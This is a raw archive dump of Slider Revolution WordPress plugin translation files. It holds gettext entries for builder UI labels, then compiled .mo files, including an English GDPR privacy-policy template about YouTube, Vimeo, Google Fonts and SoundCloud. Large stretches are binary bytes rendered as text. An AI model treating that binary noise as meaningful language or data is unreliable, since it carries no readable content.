msgid "From Stream" msgstr "" #: admin/views/builder-layer-forms.php:265 msgid "Remove Poster" msgstr "" #: admin/views/builder-layer-forms.php:267 msgid "Poster in Pause" msgstr "" #: admin/views/builder-layer-forms.php:268 msgid "No Poster on Mobile" msgstr "" #: admin/views/builder-layer-forms.php:269 msgid "Only Poster on Mobile" msgstr "" #: admin/views/builder-layer-forms.php:274 msgid "Advenced Media Settings" msgstr "" #: admin/views/builder-layer-forms.php:276 msgid "Stop Other Media" msgstr "" #: admin/views/builder-layer-forms.php:277 msgid "Allow Fullscreen" msgstr "" #: admin/views/builder-layer-forms.php:280 msgid "No Interaction" msgstr "" #: admin/views/builder-layer-forms.php:282 msgid "Controls" msgstr "" #: admin/views/builder-layer-forms.php:283 msgid "Large Controls" msgstr "" #: admin/views/builder-layer-forms.php:285 msgid "Inline Mode" msgstr "" #: admin/views/builder-layer-forms.php:289 msgid "Media Volume (0-100)" msgstr "" #: admin/views/builder-layer-forms.php:290 msgid "1/4" msgstr "" #: admin/views/builder-layer-forms.php:290 msgid "1/2" msgstr "" #: admin/views/builder-layer-forms.php:290 #: admin/views/builder-layer-forms.php:783 #: admin/views/builder-layer-forms.php:784 msgid "Normal" msgstr "" #: admin/views/builder-layer-forms.php:290 msgid "x1.5" msgstr "" #: admin/views/builder-layer-forms.php:290 msgid "x2" msgstr "" #: admin/views/builder-layer-forms.php:293 msgid "i.e. 0:15" msgstr "" #: admin/views/builder-layer-forms.php:294 msgid "i.e. 2:41" msgstr "" #: admin/views/builder-layer-forms.php:315 msgid "Shape Layer Content" msgstr "" #: admin/views/builder-layer-forms.php:322 msgid "Display Mode in Column" msgstr "" #: admin/views/builder-layer-forms.php:324 msgid "Display" msgstr "" #: admin/views/builder-layer-forms.php:324 msgid "Block" msgstr "" #: admin/views/builder-layer-forms.php:324 msgid "Inline-Block" msgstr "" #: admin/views/builder-layer-forms.php:325 msgid "Float" msgstr "" #: admin/views/builder-layer-forms.php:326 msgid "Clear" msgstr "" #: admin/views/builder-layer-forms.php:328 msgid "Add LineBreak Before" msgstr "" #: admin/views/builder-layer-forms.php:329 msgid "Add LineBreak After" msgstr "" #: admin/views/builder-layer-forms.php:335 msgid "HTML Tag" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "Wrapping Tag" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<rs-layer>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<p>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<h1>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<h2>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<h3>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<h4>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<h5>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<h6>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<span>" msgstr "" #: admin/views/builder-layer-forms.php:350 #: admin/views/builder-layer-forms.php:355 msgid "Global Layer Settings" msgstr "" #: admin/views/builder-layer-forms.php:357 msgid "Layer is Global" msgstr "" #: admin/views/builder-layer-forms.php:372 #: admin/views/builder-layer-forms.php:375 msgid "Responsive Behavior" msgstr "" #: admin/views/builder-layer-forms.php:383 msgid "Resize Between Devices" msgstr "" #: admin/views/builder-layer-forms.php:405 msgid "Hide \"Under\" Width" msgstr "" #: admin/views/builder-layer-forms.php:406 msgid "Show if mouse over Slider" msgstr "" #: admin/views/builder-layer-forms.php:415 #: admin/views/builder-layer-forms.php:418 #: admin/views/builder-layer-forms.php:433 msgid "Position & Size" msgstr "" #: admin/views/builder-layer-forms.php:420 #: admin/views/builder-layer-forms.php:479 msgid "Additional" msgstr "" #: admin/views/builder-layer-forms.php:426 msgid "No options available for your current selection." msgstr "" #: admin/views/builder-layer-forms.php:463 msgid "Size Presets" msgstr "" #: admin/views/builder-layer-forms.php:463 msgid "Custom Size" msgstr "" #: admin/views/builder-layer-forms.php:463 msgid "Full Width" msgstr "" #: admin/views/builder-layer-forms.php:463 msgid "Full Height" msgstr "" #: admin/views/builder-layer-forms.php:463 msgid "Stretch" msgstr "" #: admin/views/builder-layer-forms.php:463 msgid "Cover" msgstr "" #: admin/views/builder-layer-forms.php:466 msgid "Layer Align" msgstr "" #: admin/views/builder-layer-forms.php:468 msgid "Layer Area" msgstr "" #: admin/views/builder-layer-forms.php:504 msgid "Font" msgstr "" #: admin/views/builder-layer-forms.php:509 msgid "Font & Icon" msgstr "" #: admin/views/builder-layer-forms.php:519 msgid "More" msgstr "" #: admin/views/builder-layer-forms.php:519 msgid "Less" msgstr "" #: admin/views/builder-layer-forms.php:524 #: admin/views/builder-layer-forms.php:990 msgid "Underline" msgstr "" #: admin/views/builder-layer-forms.php:524 #: admin/views/builder-layer-forms.php:990 msgid "Overline" msgstr "" #: admin/views/builder-layer-forms.php:524 #: admin/views/builder-layer-forms.php:990 msgid "Line-through" msgstr "" #: admin/views/builder-layer-forms.php:527 msgid "Uppercase" msgstr "" #: admin/views/builder-layer-forms.php:527 msgid "Lowercase" msgstr "" #: admin/views/builder-layer-forms.php:527 msgid "Capitalize" msgstr "" #: admin/views/builder-layer-forms.php:528 msgid "Selectable" msgstr "" #: admin/views/builder-layer-forms.php:528 msgid "Unselectable" msgstr "" #: admin/views/builder-layer-forms.php:533 #: admin/views/builder-layer-forms.php:987 msgid "Text Color" msgstr "" #: admin/views/builder-layer-forms.php:534 msgid "Color in Frame" msgstr "" #: admin/views/builder-layer-forms.php:546 #: admin/views/builder-layer-forms.php:1000 msgid "SVG Color" msgstr "" #: admin/views/builder-layer-forms.php:547 #: admin/views/builder-layer-forms.php:1001 msgid "Stroke Color" msgstr "" #: admin/views/builder-layer-forms.php:565 msgid "BG in Frame" msgstr "" #: admin/views/builder-layer-forms.php:609 msgid "Spacings" msgstr "" #: admin/views/builder-layer-forms.php:631 msgid "Inherit" msgstr "" #: admin/views/builder-layer-forms.php:632 msgid "Middle" msgstr "" #: admin/views/builder-layer-forms.php:642 msgid "Border" msgstr "" #: admin/views/builder-layer-forms.php:645 #: admin/views/builder-layer-forms.php:1025 msgid "Border Color" msgstr "" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Border Style" msgstr "" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Solid" msgstr "" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Dashed" msgstr "" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Dotted" msgstr "" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Double" msgstr "" #: admin/views/builder-layer-forms.php:684 msgid "Basic Transforms" msgstr "" #: admin/views/builder-layer-forms.php:700 msgid "Box Shadow" msgstr "" #: admin/views/builder-layer-forms.php:703 #: admin/views/builder-layer-forms.php:732 #: admin/views/builder-layer-forms.php:1568 msgid "Effect" msgstr "" #: admin/views/builder-layer-forms.php:707 msgid "Shadow on" msgstr "" #: admin/views/builder-layer-forms.php:709 msgid "Wrapper Container" msgstr "" #: admin/views/builder-layer-forms.php:710 msgid "Layer Container" msgstr "" #: admin/views/builder-layer-forms.php:723 #: admin/views/builder-layer-forms.php:743 msgid "Shadow Color" msgstr "" #: admin/views/builder-layer-forms.php:729 msgid "Text Shadow" msgstr "" #: admin/views/builder-layer-forms.php:749 msgid "Blend Mode" msgstr "" #: admin/views/builder-layer-forms.php:754 msgid "Can not be rendered in Editor. Please preview in Frontend." msgstr "" #: admin/views/builder-layer-forms.php:757 msgid "Show in Editor" msgstr "" #: admin/views/builder-layer-forms.php:765 msgid "Spike Masks" msgstr "" #: admin/views/builder-layer-forms.php:768 msgid "Enable Spikes" msgstr "" #: admin/views/builder-layer-forms.php:770 msgid "Left Spike" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "No Spikes" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "1 Spike Top" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "1 Spike Middle" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "1 Spike Bottom" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "Two Spikes" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "Three Spikes" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "Four Spikes" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "Five Spikes" msgstr "" #: admin/views/builder-layer-forms.php:771 #: admin/views/builder-layer-forms.php:773 msgid "Spike Width" msgstr "" #: admin/views/builder-layer-forms.php:772 msgid "Right Spike" msgstr "" #: admin/views/builder-layer-forms.php:780 msgid "Sharp Corner Extensions" msgstr "" #: admin/views/builder-layer-forms.php:783 msgid "Left Corner" msgstr "" #: admin/views/builder-layer-forms.php:783 #: admin/views/builder-layer-forms.php:784 msgid "No Corner" msgstr "" #: admin/views/builder-layer-forms.php:784 msgid "Right Corner" msgstr "" #: admin/views/builder-layer-forms.php:813 msgid "Parallax & 3D" msgstr "" #: admin/views/builder-layer-forms.php:815 msgid "Level" msgstr "" #: admin/views/builder-layer-forms.php:833 msgid "Under Mask" msgstr "" #: admin/views/builder-layer-forms.php:836 msgid "Attach to BG" msgstr "" #: admin/views/builder-layer-forms.php:844 msgid "Timeline Scroll Based" msgstr "" #: admin/views/builder-layer-forms.php:846 #: admin/views/builder-layer-forms.php:859 msgid "Handling" msgstr "" #: admin/views/builder-layer-forms.php:847 #: admin/views/builder-layer-forms.php:860 msgid "Default (Global Settings)" msgstr "" #: admin/views/builder-layer-forms.php:851 msgid "Start Earlier" msgstr "" #: admin/views/builder-layer-forms.php:857 msgid "Filter Effect Scroll Based" msgstr "" #: admin/views/builder-layer-forms.php:878 msgid "Layer ID" msgstr "" #: admin/views/builder-layer-forms.php:879 #: admin/views/builder-layer-forms.php:885 msgid "Classes" msgstr "" #: admin/views/builder-layer-forms.php:881 msgid "Rel" msgstr "" #: admin/views/builder-layer-forms.php:882 msgid "TabIndex" msgstr "" #: admin/views/builder-layer-forms.php:884 msgid "Wrapper ID" msgstr "" #: admin/views/builder-layer-forms.php:896 msgid "Custom Inline & Hover CSS" msgstr "" #: admin/views/builder-layer-forms.php:899 #: admin/views/builder-layer-forms.php:903 msgid "CustomCSS" msgstr "" #: admin/views/builder-layer-forms.php:909 msgid "" "Depricated Function !
            Only visible by Rendering. Limited influence on " "Styled Layers. Custom CSS Inline will be removed in Version 6.2" msgstr "" #: admin/views/builder-layer-forms.php:929 msgid "Reset Style" msgstr "" #: admin/views/builder-layer-forms.php:931 msgid "Cursor" msgstr "" #: admin/views/builder-layer-forms.php:932 msgid "Pointer Event" msgstr "" #: admin/views/builder-layer-forms.php:934 #: admin/views/builder-layer-forms.php:1169 msgid "Mask" msgstr "" #: admin/views/builder-layer-forms.php:942 msgid "Hover Transform" msgstr "" #: admin/views/builder-layer-forms.php:949 msgid "zIndex" msgstr "" #: admin/views/builder-layer-forms.php:984 msgid "Font Hover Style" msgstr "" #: admin/views/builder-layer-forms.php:997 msgid "SVG Hover Style" msgstr "" #: admin/views/builder-layer-forms.php:1015 msgid "Background Hover" msgstr "" #: admin/views/builder-layer-forms.php:1023 msgid "Border Hover" msgstr "" #: admin/views/builder-layer-forms.php:1054 msgid "Filter Hover" msgstr "" #: admin/views/builder-layer-forms.php:1105 msgid "Keyframes" msgstr "" #: admin/views/builder-layer-forms.php:1115 msgid "Set as Editor View" msgstr "" #: admin/views/builder-layer-forms.php:1126 #: admin/views/builder-layer-forms.php:1299 msgid "Basics" msgstr "" #: admin/views/builder-layer-forms.php:1131 msgid "Frame Alias" msgstr "" #: admin/views/builder-layer-forms.php:1138 msgid "Wait for Action" msgstr "" #: admin/views/builder-layer-forms.php:1145 msgid "Force Prepare" msgstr "" #: admin/views/builder-layer-forms.php:1152 msgid "Reverse \"IN\"" msgstr "" #: admin/views/builder-layer-forms.php:1165 msgid "Layer" msgstr "" #: admin/views/builder-layer-forms.php:1166 msgid "Char" msgstr "" #: admin/views/builder-layer-forms.php:1167 msgid "Word" msgstr "" #: admin/views/builder-layer-forms.php:1168 msgid "Line" msgstr "" #: admin/views/builder-layer-forms.php:1171 msgid "SFX" msgstr "" #: admin/views/builder-layer-forms.php:1215 #: admin/views/builder-layer-forms.php:1385 #: admin/views/builder-layer-forms.php:1455 #: admin/views/builder-layer-forms.php:1525 #: admin/views/builder-layer-forms.php:1665 msgid "Filter" msgstr "" #: admin/views/builder-layer-forms.php:1226 #: admin/views/builder-layer-forms.php:1257 #: admin/views/builder-layer-forms.php:1395 #: admin/views/builder-layer-forms.php:1465 #: admin/views/builder-layer-forms.php:1535 msgid "Slide Direction based Mirroring" msgstr "" #: admin/views/builder-layer-forms.php:1250 msgid "Use Masking" msgstr "" #: admin/views/builder-layer-forms.php:1267 msgid "Use Clip Path" msgstr "" #: admin/views/builder-layer-forms.php:1270 msgid "Rectangle" msgstr "" #: admin/views/builder-layer-forms.php:1271 msgid "Circle" msgstr "" #: admin/views/builder-layer-forms.php:1272 msgid "Inverts" msgstr "" #: admin/views/builder-layer-forms.php:1274 msgid "Origin" msgstr "" #: admin/views/builder-layer-forms.php:1285 msgid "Diagonal From" msgstr "" #: admin/views/builder-layer-forms.php:1286 #: admin/views/builder-layer-forms.php:1311 #: admin/views/builder-layer-forms.php:1328 msgid "Left Top" msgstr "" #: admin/views/builder-layer-forms.php:1287 #: admin/views/builder-layer-forms.php:1312 #: admin/views/builder-layer-forms.php:1329 msgid "Right Top" msgstr "" #: admin/views/builder-layer-forms.php:1288 #: admin/views/builder-layer-forms.php:1313 #: admin/views/builder-layer-forms.php:1330 msgid "Right Bottom" msgstr "" #: admin/views/builder-layer-forms.php:1289 #: admin/views/builder-layer-forms.php:1314 #: admin/views/builder-layer-forms.php:1331 msgid "Left Bottom" msgstr "" #: admin/views/builder-layer-forms.php:1291 msgid "Center Diagonal" msgstr "" #: admin/views/builder-layer-forms.php:1292 msgid "Center - Left Right" msgstr "" #: admin/views/builder-layer-forms.php:1293 #: admin/views/builder-layer-forms.php:1315 #: admin/views/builder-layer-forms.php:1332 msgid "Center - Right Left" msgstr "" #: admin/views/builder-layer-forms.php:1294 #: admin/views/builder-layer-forms.php:1302 #: admin/views/builder-layer-forms.php:1320 msgid "Invert Horizontal" msgstr "" #: admin/views/builder-layer-forms.php:1295 #: admin/views/builder-layer-forms.php:1303 #: admin/views/builder-layer-forms.php:1319 msgid "Invert Vertical" msgstr "" #: admin/views/builder-layer-forms.php:1310 msgid "Corners" msgstr "" #: admin/views/builder-layer-forms.php:1341 msgid "Split Chars" msgstr "" #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Forward" msgstr "" #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Backward" msgstr "" #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Middle To Edge" msgstr "" #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Edge to Middle" msgstr "" #: admin/views/builder-layer-forms.php:1411 msgid "Split Words" msgstr "" #: admin/views/builder-layer-forms.php:1481 msgid "Split Lines" msgstr "" #: admin/views/builder-layer-forms.php:1568 msgid "No Special Effect" msgstr "" #: admin/views/builder-layer-forms.php:1568 msgid "Block to Left" msgstr "" #: admin/views/builder-layer-forms.php:1568 msgid "Block to Right" msgstr "" #: admin/views/builder-layer-forms.php:1568 msgid "Block to Top" msgstr "" #: admin/views/builder-layer-forms.php:1568 msgid "Block to Bottom" msgstr "" #: admin/views/builder-layer-forms.php:1570 msgid "Block Color" msgstr "" #: admin/views/builder-layer-forms.php:1592 msgid "Layer Loop Animations" msgstr "" #: admin/views/builder-layer-forms.php:1599 msgid "Enable Timeline Loops" msgstr "" #: admin/views/builder-layer-forms.php:1602 msgid "Enable Loop Effects" msgstr "" #: admin/views/builder-layer-forms.php:1612 msgid "Layer Timline Loop" msgstr "" #: admin/views/builder-layer-forms.php:1614 msgid "Start Frame" msgstr "" #: admin/views/builder-layer-forms.php:1615 msgid "End Frame" msgstr "" #: admin/views/builder-layer-forms.php:1616 msgid "Loop Amount" msgstr "" #: admin/views/builder-layer-forms.php:1617 msgid "Animate to \"Start\" in Loop" msgstr "" #: admin/views/builder-layer-forms.php:1618 msgid "Reset Children Timeline" msgstr "" #: admin/views/builder-layer-forms.php:1623 msgid "" "Restriction !
            Children Layers of Group, Column and Row will simply " "restart, without animation from the last loop Frame to first loop frame, " "independent of the Animate to \"start\" in Loop enabled option." msgstr "" #: admin/views/builder-layer-forms.php:1636 msgid "Layer Looping Effects" msgstr "" #: admin/views/builder-layer-forms.php:1640 msgid "Load Loop Template" msgstr "" #: admin/views/builder-layer-forms.php:1662 msgid "Move" msgstr "" #: admin/views/builder-layer-forms.php:1664 msgid "Rotate" msgstr "" #: admin/views/builder-layer-forms.php:1671 msgid "Yoyo" msgstr "" #: admin/views/builder-layer-forms.php:1685 msgid "Curved" msgstr "" #: admin/views/builder-layer-forms.php:1687 msgid "Auto Rotate" msgstr "" #: admin/views/builder-layer-forms.php:1772 #: admin/views/builder-layer-forms.php:1776 msgid "Presets" msgstr "" #: admin/includes/shortcode_generator/shortcode_generator.class.php:215 msgid "Revolution Slider 6" msgstr "" #. Author of the plugin #: admin/includes/shortcode_generator/gutenberg/gutenberg-block.php:56 msgid "ThemePunch" msgstr "" #: admin/includes/shortcode_generator/elementor/elementor-widget.class.php:49 msgid "Slider Revolution:" msgstr "" #: admin/includes/shortcode_generator/elementor/elementor-widget.class.php:72 msgid "Select / Edit Slider" msgstr "" #. Description of the plugin msgid "Slider Revolution - Premium responsive slider" msgstr "" #. URI of the plugin msgid "https://www.sliderrevolution.com/" msgstr "" #. Author URI of the plugin msgid "https://themepunch.com/" msgstr "" languages/revsliderhelp-en_US.mo000060400000000735151724235750012742 0ustar00$,,-Project-Id-Version: Slider Revolution Help Report-Msgid-Bugs-To: POT-Creation-Date: 2019-06-28 07:45+0000 PO-Revision-Date: 2019-06-28 07:45+0000 Last-Translator: admin Language-Team: Language: en_US Plural-Forms: nplurals=2; plural=n != 1; MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Loco https://localise.biz/ X-Loco-Version: 2.2.2; wp-5.2.2languages/revslider-fr_FR.mo000060400000205237151724235750012062 0ustar002C<3HD IDUDhD'}D.DDDEE9E VE cE mE yE E EE,~V0VVV V V WW!W8WIWW WX X"X 1X ZPZ"`Z Z3Z ZZ [ [ [3[:[P[U[ g[r[{[[[[ [&[[[[ \ #\.\G\ N\\\ r\}\\ \ \ \]\ ]2%]2X]4]Z]c^^^ ^^^^ ^^'^ _!_ )_4_G_ Y_f__ _ _______"` 5` B`O`W`\`l`{```!` ` aa+a>a Fa Taaa ha!uaaaaaaa b*bGbPbib+pb b bbbbbb c c(c7cMcVcgc&xcccc/cd(dHdMd Rd]d0rdddd dd dd e e!e)e2e8e JeXemeeeee eee ff6fGfYf#iff ffffff gg3gFgWgpgggggggh hh h'h,h>hGh!Lhnhhh hh hhhh- i7i ?i LiXi liyiiiiii i;ij:jQj1fjjYj j kk#!k)Ekokvk ~k kkkQkl ll!*lLljlrllll l l l ll ll m mm.m 3m@mOmfmkmqm tmm^nYnToZono uo oooo oooo pp11p%cp%ppppp pp qq2q Bq8Pq q qqqq qqq q q r r r*r :r Hr Vrdrvrrrrrr=r s s-#sQsesmsss sssss t"t1t 8t Ft PtZt pt zt t tt t tt tt ttu u)uHuYuauqu uuu*u-uv5vUv fvqv$vvv v v v-vw$w3w Fw.Pw.ww w?w xP#x'txx6x x x yyy/yByRyYy]ylyy yy y yyyyy y zzz 1z=zEzNzcz!zz zzz zz zz zJzK6{ {{{|||!|}+ }%L}4r}}}}}}~ ~,~5~:~B~ Q~ ]~h~n~-~<~~'~$,;J_gz!$@ -9Mbi|r  )8@yف#3P'k  ˂ׂނ  -3 8CLPTX ^iz -˃  . GTho  ĄЄ0  $0 6@T;s҅ # 2@ GUi r Æ׆:")8 M[r)0LJ.'#Ae030 7 DRZ_ e'oht.u ŠЊ : BP_ gu ċ Ћދ =$E&j%Ҍٌ ތ##G LQX"[ ~+"ˎ' ($3 X3y Ə ׏P,S,ǐ ߐ:' 9F\ n|  đ ב    , 8 CQ!Y{+ & 7A ` ky rx~Д ֔ &/1 am kz"̖#4 E R ] k y"7ߗ =.@o   ͘!ט ̜3>7WƝ  % 0 < GKS*9ʱ 1@SgVu} ̳޳ ( 2%=%c /(ݴ#* <GOa õֵ/" * 4>(R{%%ͶC$7\ nx9~  :I>] ! ߸ &6]ls { k% O0>Nv  2 <F\ wN#ۼ7SfϽ12PѾ-"7P6տ  $2<F%%%'<d$m 3 ##;"_  6 DY.y/6 !*9BY+! &6(Gp w + =Yo(# (?B! -?"[~*7*0[x'")>G4M)%/??] & !=#OsO(D;o 6$6[bG N\2s.(1:IY `n *c<m%:AP!f") (A>).  (2EayF"%2X als y  /E UazW9P i,t#***U  & CQ W ak  "  (;Om)<?/*4Z%4  0>OB^ <I2|IY -d? $ /FX^b y  &$-> N\q', / 8EVPqQ&7o!$04 PB )27HXhx~JH/9H (#LQi  #,)Q`"t>13?</|/4FX ` l%w   &4="Ehlp &8 Uau~?& ( BP!g H$ *7 =G'aJ ) I*T   %"CfI!0._q:A= I(fJ3+>"Wz  :7C{!(1BU]m G 5h43 % .9$R,w- qU#H lS:8U h)s*> "5GJ^t~IB= #S3J#] ( C OZn )&<$T#y94% 2$In8 ! $ 1Iem   3 3?Wsu!1$9^ x   /B- I L G_ 7      #  ) 4 7  H V h   :$zvJG dtwuOPdI"$']Uhs- </|9`K>~j$ f@E}Q&8d 6^/?CQwkZK=EJzfTDxj- p"_'nFaOvNf%19Hs X&*L@1  q*,TG})J6C :cNB~3HIS_3 A(02a!{+^e2 /,pY)ZLPMD j8"*XcDOn5[gWy u,Q#'M`/k lo1woa%c?}?.%0"{;> X:rlV#{iq#<1u\2R3B.=4g9!0\WRT.]+eR((&z+\-p2ilbk( CyM]$875`Z+!t Y S<N-rK bV4Y7IA*hS=mox6gB5[ivUn@,);F; > ~#GA%PL!0Em&yh4V xe[)b t|UrFm_^W7s|.'qH  not found! should be numeric should not be empty"Include RevSlider libraries globally" "Pages to include RevSlider libraries" option © Copyright & License Info<a> Tag Link--- Choose Slider ---1 Purchase Code per Website1 Purchase Code per Website!1on1 Support1st Frame2 x 2 Black2 x 2 White3 x 3 Black3 x 3 White

            In case you’re using Google Web Fonts (default) or playing videos or sounds via YouTube or Vimeo in Slider Revolution we recommend to add the corresponding text phrase to your privacy police:

            YouTube

            Our website uses plugins from YouTube, which is operated by Google. The operator of the pages is YouTube LLC, 901 Cherry Ave., San Bruno, CA 94066, USA.

            If you visit one of our pages featuring a YouTube plugin, a connection to the YouTube servers is established. Here the YouTube server is informed about which of our pages you have visited.

            If you're logged in to your YouTube account, YouTube allows you to associate your browsing behavior directly with your personal profile. You can prevent this by logging out of your YouTube account.

            YouTube is used to help make our website appealing. This constitutes a justified interest pursuant to Art. 6 (1) (f) DSGVO.

            Further information about handling user data, can be found in the data protection declaration of YouTube under https://www.google.de/intl/de/policies/privacy.

            Vimeo

            Our website uses features provided by the Vimeo video portal. This service is provided by Vimeo Inc., 555 West 18th Street, New York, New York 10011, USA.

            If you visit one of our pages featuring a Vimeo plugin, a connection to the Vimeo servers is established. Here the Vimeo server is informed about which of our pages you have visited. In addition, Vimeo will receive your IP address. This also applies if you are not logged in to Vimeo when you visit our plugin or do not have a Vimeo account. The information is transmitted to a Vimeo server in the US, where it is stored.

            If you are logged in to your Vimeo account, Vimeo allows you to associate your browsing behavior directly with your personal profile. You can prevent this by logging out of your Vimeo account.

            For more information on how to handle user data, please refer to the Vimeo Privacy Policy at https://vimeo.com/privacy.

            Google Web Fonts

            For uniform representation of fonts, this page uses web fonts provided by Google. When you open a page, your browser loads the required web fonts into your browser cache to display texts and fonts correctly.

            For this purpose your browser has to establish a direct connection to Google servers. Google thus becomes aware that our web page was accessed via your IP address. The use of Google Web fonts is done in the interest of a uniform and attractive presentation of our plugin. This constitutes a justified interest pursuant to Art. 6 (1) (f) DSGVO.

            If your browser does not support web fonts, a standard font is used by your computer.

            Further information about handling user data, can be found at https://developers.google.com/fonts/faq and in Google's privacy policy at https://www.google.com/policies/privacy/.

            SoundCloud

            On our pages, plugins of the SoundCloud social network (SoundCloud Limited, Berners House, 47-48 Berners Street, London W1T 3NF, UK) may be integrated. The SoundCloud plugins can be recognized by the SoundCloud logo on our site.

            When you visit our site, a direct connection between your browser and the SoundCloud server is established via the plugin. This enables SoundCloud to receive information that you have visited our site from your IP address. If you click on the “Like” or “Share” buttons while you are logged into your SoundCloud account, you can link the content of our pages to your SoundCloud profile. This means that SoundCloud can associate visits to our pages with your user account. We would like to point out that, as the provider of these pages, we have no knowledge of the content of the data transmitted or how it will be used by SoundCloud. For more information on SoundCloud’s privacy policy, please go to https://soundcloud.com/pages/privacy.

            If you do not want SoundCloud to associate your visit to our site with your SoundCloud account, please log out of your SoundCloud account.

            A Slider with the given alias already existsA new version of Slider Revolution is available.API KeyAPP IDAPP SecretAccess TokenAction NeededActivate Add-OnActivate Global Add-OnActivate LicenseActivate Slider Revolution for Premium Benefits (e.g. Live Updates).Activate To UpdateActivatedActivating Add-OnActivationAdd Action to Add FolderAdd LayerAdd Slide(s)Add Slider as ModalAdd to SelectionAdd-OnAdd-OnsAddOn could not be activatedAddOn could not be deactivatedAddOn deactivatedAddOnsAddOns Outdated. Please UpdateAddOns need attentionAdding new Blank Module...Addon RequiredAddonsAdvancedAdvanced ActionsAdvanced Module EmbeddingAdvanced SettingsAlbumAliasAlignAll EventsAll LanguagesAmount of SlidesAn Error Occured while importingAnim FromAnim ToAnimate FromAnimationAnimation TemplateAnimation could not be savedAnimation deletedAnimation savedAre you sure you want to continue?Are you sure you want to delete Are you sure you want to delete the selected Slide:Are you sure you want to export As ModalAscendingAudioAudio Wave Library is Loading...AuthorAuthor, Editor, AdminAutoAvailable VersionBG & SpaceBG ColorBG ImageBackBack to OverviewBackground VideoBad RequestBearer Token is good, check your queryBehaviorBlank Page CreatedBlank page has been created:Blank slideBody ClassBorder, Overlay & ShadowBottomBrowser WidthBuilding Select BoxesBulk SlideButtonButtonsCache (sec)Cache (sec):Call BackCan't connect programatically to the ThemePunch servers, please check your webserver settingsCan't create zip file: Can't delete default preset of default navigationsCan't get the bearer token, check your credentialsCan't modify a default preset of default navigationsCan't write into the uploads folder of WordPress, please change permissions and try again!Can't write the file into the uploads folder of WordPress, please change permissions and try again!CancelCancel & Reload LaterCaraouselCarouselCarousel LayoutCategories & TagsCategories:CenterChanges that you made may not be saved.Changing Screen SizeChannelChannel IDCheck RequirementsCheck for UpdatesChoose ImageChoose Revolution SliderChoose Slide TemplateChoose SliderChoose VideoCleared AlbumsCleared PhotosetsClick to ChooseCloseClose Slider ModalConnect with ThemePunchConnection to Update Server FailedCons. SecretConsumer KeyContentCopyCopy Embed CodeCopy ShortcodeCould not create SlideCould not create SliderCould not fetch Facebook albumsCould not fetch YouTube playlistsCould not fetch flickr photosetsCover ColorCreate Blank PageCreation AscendingCreditsCurrent LevelCurrent PostCustomCustom OrderCustom Size is currently DisabledDateDecision Modal TitleDecrease Module HeightDefaultDefault Desktop Content WidthDefault Mobile Content WidthDefault Notebook Content WidthDefault Tablet Content WidthDefaultsDefer JavaScript LoadingDeleteDelete All Sliders and Folders included in Delete SlideDelete SliderDelete Template ?Deleting SliderDeletion failedDeregister this CodeDeregistration failed!DescendingDesktopDisable Add-OnDisable Global Add-OnDisabledDisabling Add-OnDismiss MessagesDisplay a certain photoset from a userDisplay a galleryDisplay a group's photosDisplay a user's public photosDisplays a Slider Revolution Module on the pageDo ItDo you want to start the Update process?DocsDoneDont Do ItDont Force FullwidthDownloading the Zip File may take a few moments.Drag & Drop Import FileDrag to SelectDribbbleDuplicateDuplication FailedEase SpeedEasingEdit PageEditor is Loading...EffectsElementsEmbedEmpty PlaceholderEnable Add-OnEnable Global Add-OnEnable/Disable Add-On on ModuleEnabledEnabling Add-OnEnter Access SecretEnter Access TokenEnter Api KeyEnter Consumer KeyEnter Container .class or #idEnter External URLEnter FaceBook Page URLEnter FullscreenEnter Gallery URLEnter Group URLEnter Preset Name to Save or DeleteEnter Purchase CodeEnter SecretEnter Twitter NameEnter User NameEnter User URLEnter YouTube Channel IDEnter a Module nameEnter the App IDEnter the App SecretEnter your Api KeyEnter your EmailError downloading layersError downloading layers dataError downloading objectEvent End DateEvent Start DateExample 2,homepage,5Exceeded filesize limit.Exit FullscreenExportExport SliderFAQ'sFOLDERFONTFaceBook SettingsFacebookFadeFailed to Move Slider Into FolderFailed to Update TagsFailed to update TitleFavorite ChangedFavoritesFeatured ImagesFeatured OnlyFeatured ProductsFetch ByFile Succesfully ImportedFilter Effect Scroll is now generally EnabledFiltersFind My CodeFirst SlideFix RS Table IssuesFixed on TopFlickrFlickr SettingsFolderFolder Creation FailedFolder DeletedFolder Deletion FailedFont IconsFor the pages and posts editor insert the Shortcode:For the theme html 